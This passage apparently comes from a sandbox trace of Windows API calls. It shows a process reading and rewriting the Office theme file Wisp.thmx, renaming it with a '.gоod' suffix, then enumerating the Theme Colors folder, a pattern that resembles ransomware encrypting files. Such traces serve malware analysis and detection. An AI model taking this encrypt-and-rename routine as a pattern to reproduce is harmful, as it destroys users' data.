dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0137.309] GetFileType (hFile=0x650) returned 0x1 [0137.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0137.309] GetFileType (hFile=0x650) returned 0x1 [0137.309] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0137.309] ReadFile (in: hFile=0x650, lpBuffer=0x3847df8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x3847df8*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0137.311] CloseHandle (hObject=0x650) returned 1 [0137.311] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", lpFilePart=0x0) returned 0x43 [0137.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0137.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0137.311] GetFileType (hFile=0x650) returned 0x1 [0137.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0137.311] GetFileType (hFile=0x650) returned 0x1 [0137.311] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0xbc7c1 [0137.311] WriteFile (in: hFile=0x650, lpBuffer=0x384a2b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x384a2b0*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0137.313] CloseHandle (hObject=0x650) returned 1 [0137.313] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", lpFilePart=0x0) returned 0x43 [0137.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0137.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0137.313] GetFileType (hFile=0x650) returned 0x1 [0137.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0137.313] GetFileType (hFile=0x650) returned 0x1 [0137.313] ReadFile (in: hFile=0x650, lpBuffer=0x384c580, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x384c580*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0137.380] CloseHandle (hObject=0x650) returned 1 [0137.380] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", lpFilePart=0x0) returned 0x43 [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0137.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0137.380] GetFileType (hFile=0x650) returned 0x1 [0137.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0137.380] GetFileType (hFile=0x650) returned 0x1 [0137.381] WriteFile (in: hFile=0x650, lpBuffer=0x384b2e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x384b2e8*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0137.381] CloseHandle (hObject=0x650) returned 1 [0137.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", lpFilePart=0x0) returned 0x43 [0137.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx.gоod", lpFilePart=0x0) returned 0x48 [0137.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0137.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4e188129, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbc7d1)) returned 1 [0137.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0137.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx.gоod")) returned 1 [0137.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ecae0) returned 1 [0137.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors", nBufferLength=0x105, lpBuffer=0x200ec580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors", lpFilePart=0x0) returned 0x46 [0137.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\*", lpFindFileData=0x200ec800 | out: lpFindFileData=0x200ec800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0137.383] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.383] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0137.383] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue Green.xml", cAlternateFileName="BLUEGR~1.XML")) returned 1 [0137.383] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue II.xml", cAlternateFileName="BLUEII~1.XML")) returned 1 [0137.383] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue Warm.xml", cAlternateFileName="BLUEWA~1.XML")) returned 1 [0137.383] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue.xml", cAlternateFileName="")) returned 1 [0137.384] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0137.384] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Yellow.xml", cAlternateFileName="GREENY~1.XML")) returned 1 [0137.384] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green.xml", cAlternateFileName="")) returned 1 [0138.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marquee.xml", cAlternateFileName="")) returned 1 [0138.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0138.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2007 - 2010.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0138.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Red.xml", cAlternateFileName="ORANGE~1.XML")) returned 1 [0138.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange.xml", cAlternateFileName="")) returned 1 [0138.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0138.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Red Orange.xml", cAlternateFileName="REDORA~1.XML")) returned 1 [0138.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Red Violet.xml", cAlternateFileName="REDVIO~1.XML")) returned 1 [0138.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Red.xml", cAlternateFileName="")) returned 1 [0138.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0138.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Violet II.xml", cAlternateFileName="VIOLET~1.XML")) returned 1 [0138.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Violet.xml", cAlternateFileName="")) returned 1 [0138.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellow Orange.xml", cAlternateFileName="YELLOW~1.XML")) returned 1 [0138.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellow.xml", cAlternateFileName="")) returned 1 [0138.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.215] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0138.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eca20) returned 1 [0138.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9e0) returned 1 [0138.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ecae0) returned 1 [0138.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors", nBufferLength=0x105, lpBuffer=0x200ec580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors", lpFilePart=0x0) returned 0x46 [0138.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\*", lpFindFileData=0x200ec800 | out: lpFindFileData=0x200ec800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.217] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.217] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0138.217] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue Green.xml", cAlternateFileName="BLUEGR~1.XML")) returned 1 [0138.217] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue II.xml", cAlternateFileName="BLUEII~1.XML")) returned 1 [0138.217] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue Warm.xml", cAlternateFileName="BLUEWA~1.XML")) returned 1 [0138.217] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue.xml", cAlternateFileName="")) returned 1 [0138.218] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0138.218] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, 